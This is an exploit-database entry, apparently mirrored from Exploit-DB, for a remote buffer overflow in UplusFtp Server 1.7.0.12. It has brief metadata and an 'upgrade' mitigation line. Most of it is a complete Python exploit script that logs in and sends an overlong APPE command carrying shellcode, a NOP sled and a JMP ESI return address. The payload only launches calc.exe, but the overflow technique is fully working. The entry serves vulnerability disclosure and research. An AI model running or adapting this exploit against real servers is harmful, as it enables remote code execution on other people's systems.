UplusFtp Server 1.7.0.12 Remote Buffer Overflow

vendor:

UplusFtp Server

by:

b0telh0

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: UplusFtp Server

Affected Version From: 1.7.0.12

Affected Version To: 1.7.0.12

Patch Exists: YES

Related CWE: N/A

CPE: a:uplusftp:uplusftp_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2010

UplusFtp Server 1.7.0.12 Remote Buffer Overflow

UplusFtp Server 1.7.0.12 is vulnerable to a remote buffer overflow attack. The vulnerability exists in the CWD, DELE, LIST, MKD, NLST (and etc) commands. An attacker can exploit this vulnerability by sending a specially crafted payload to the vulnerable server. This payload contains a malicious shellcode that will be executed on the vulnerable system.

Mitigation:

Upgrade to the latest version of UplusFtp Server.

Source

Exploit-DB raw data:

#!/usr/bin/python
#
# Title: UplusFtp Server 1.7.0.12 Remote Buffer Overflow
# Date: 02-03-2010
# Author: b0telh0
# Link: http://easyftpsvr.googlecode.com/files/uplusftp-server-1.7.0.12-en.zip
# Tested on: Windows XP SP3

# CWD, DELE, LIST, MKD, NLST (and etc) commands are also vulnerable.
# 


import socket
import time

# windows/exec - 227 bytes
# EXITFUNC=process, CMD=calc.exe
shellcode = ("\x29\xc9\xb1\x33\xda\xd3\xbd\x07\x4a\x9e\x37\xd9\x74\x24\xf4"
        "\x5b\x83\xc3\x04\x31\x6b\x0f\x03\x6c\x45\x7c\xc2\x8e\xb1\x09"
        "\x2d\x6e\x42\x6a\xa7\x8b\x73\xb8\xd3\xd8\x26\x0c\x97\x8c\xca"
        "\xe7\xf5\x24\x58\x85\xd1\x4b\xe9\x20\x04\x62\xea\x84\x88\x28"
        "\x28\x86\x74\x32\x7d\x68\x44\xfd\x70\x69\x81\xe3\x7b\x3b\x5a"
        "\x68\x29\xac\xef\x2c\xf2\xcd\x3f\x3b\x4a\xb6\x3a\xfb\x3f\x0c"
        "\x44\x2b\xef\x1b\x0e\xd3\x9b\x44\xaf\xe2\x48\x97\x93\xad\xe5"
        "\x6c\x67\x2c\x2c\xbd\x88\x1f\x10\x12\xb7\x90\x9d\x6a\xff\x16"
        "\x7e\x19\x0b\x65\x03\x1a\xc8\x14\xdf\xaf\xcd\xbe\x94\x08\x36"
        "\x3f\x78\xce\xbd\x33\x35\x84\x9a\x57\xc8\x49\x91\x63\x41\x6c"
        "\x76\xe2\x11\x4b\x52\xaf\xc2\xf2\xc3\x15\xa4\x0b\x13\xf1\x19"
        "\xae\x5f\x13\x4d\xc8\x3d\x79\x90\x58\x38\xc4\x92\x62\x43\x66"
        "\xfb\x53\xc8\xe9\x7c\x6c\x1b\x4e\x72\x26\x06\xe6\x1b\xef\xd2"
        "\xbb\x41\x10\x09\xff\x7f\x93\xb8\x7f\x84\x8b\xc8\x7a\xc0\x0b"
        "\x20\xf6\x59\xfe\x46\xa5\x5a\x2b\x25\x28\xc9\xb7\x84\xcf\x69"
        "\x5d\xd9");

junk = "\x90" * 41
eip = "\x4e\xae\x3a\x7e"               #7E3AAE4E   JMP ESI USER32.dll
nops = "\x90" * 28

try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print "\n[+] UplusFtp Server v1.7.0.12 Exploit!"
    connect=s.connect(('10.1.1.110',21))
    d=s.recv(1024)
    print "[+] " +d
    print "[+] Sending username..."
    time.sleep(1)
    s.send('USER test\r\n')
    s.recv(1024)
    print "[+] Sending password..."
    time.sleep(1)
    s.send('PASS test\r\n')
    s.recv(1024)
    print "[+] Sending buffer..."
    time.sleep(1)
    s.send('APPE ' + junk + shellcode + eip + nops + 'r\n')
    print "[.] done!\n"
except:
    print "[-] Can't connect to ftp server!\n"